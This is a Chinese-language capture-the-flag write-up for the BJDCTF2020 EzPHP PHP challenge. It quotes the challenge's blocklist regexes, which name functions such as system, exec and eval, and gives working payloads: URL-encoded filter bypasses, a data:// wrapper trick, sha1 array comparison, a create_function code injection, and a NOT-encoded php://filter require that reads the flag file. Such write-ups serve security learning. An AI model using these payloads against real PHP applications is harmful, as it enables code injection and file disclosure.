[BJDCTF2020]EzPHP
知識點
3.$_REQUEST繞過
4.file_get_contents繞過(文件包含漏洞)
5.sha1比較
6.create_function()代碼注入
題解
打開題目查看源代碼，發現注釋
base32解碼得到1nD3x.php
第一步
if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}
繞過'QUERY_STRING'，$_SERVER['QUERY_STRING']不會進行urldecode，$_GET[]會，用url編碼繞過
第二步
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');
preg_match('/^$/')用換行符%0a繞過
第三步
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}
$_REQUEST繞過，$_REQUEST在同時接收GET和POST參數時，POST優先級更高
第四步
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
file_get_contents函數，用data偽協議繞過data://text/plain,debu_debu_aqua
第五步
sha1()函數無法處理數組，$shana和$passwd都是數組時都是false。$shana[]=1&$passwd[]=2
以上五步url編碼傳入
file=data://text/plain,debu_debu_aqua&debu=aqua_is_cute
&shana[]=1&passwd[]=2
url編碼
file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2
同時POST：file=1&debu=1
第六步(重點！！！)
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
}
$code和$arg可控，利用$code('',$arg)進行create_function注入
function a('',$arg){
return $arg
}
$arg=}代碼;//,則}閉合了a()，同時//注釋了后面的內容
function a('',$arg){
return }代碼;//
}
構造flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//
base64編碼后加到前五步的payload后面
file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=}%76%61%72%5f%64%75%6d%70(%67%65%74%5f%64%65%66%69%6e%65%64%5f%76%61%72%73());//
知道了flag在rea1fl4g.php用require讀取flag，用~繞過正則
require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php)
替換剛才的var_dump(get_defined_vars())
require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f))
得到base64加密代碼，解密得到flag
